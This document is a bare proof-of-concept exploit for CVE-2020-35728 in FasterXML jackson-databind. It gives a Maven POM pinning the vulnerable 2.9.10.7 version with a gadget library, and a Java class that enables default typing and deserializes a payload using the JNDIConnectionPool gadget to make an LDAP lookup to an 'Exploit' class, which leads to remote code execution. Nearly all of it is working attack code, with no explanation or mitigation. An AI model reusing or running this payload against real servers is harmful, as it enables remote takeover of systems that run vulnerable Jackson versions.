CVE-2020-35728 - RCE FasterXML POC

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
    <groupId>com.jacksonTest</groupId>    <artifactId>jacksonTest</artifactId>    <version>1.0-SNAPSHOT</version>    <dependencies>        <dependency>            <groupId>com.fasterxml.jackson.core</groupId>            <artifactId>jackson-databind</artifactId>            <version>2.9.10.7</version>        </dependency>        <!-- https://mvnrepository.com/artifact/org.glassfish.web/jakarta.servlet.jsp.jstl -->        <dependency>            <groupId>org.glassfish.web</groupId>            <artifactId>jakarta.servlet.jsp.jstl</artifactId>            <version>2.0.0</version>        </dependency>

        <dependency>            <groupId>org.slf4j</groupId>            <artifactId>slf4j-nop</artifactId>            <version>1.7.2</version>        </dependency>        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->        <dependency>            <groupId>javax.transaction</groupId>            <artifactId>jta</artifactId>            <version>1.1</version>        </dependency>    </dependencies></project>

import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {    public static void main(String[] args) throws Exception {        String payload = "["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"ldap://127.0.0.1:1088/Exploit"}]";        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        Object obj = mapper.readValue(payload, Object.class);        mapper.writeValueAsString(obj);    }}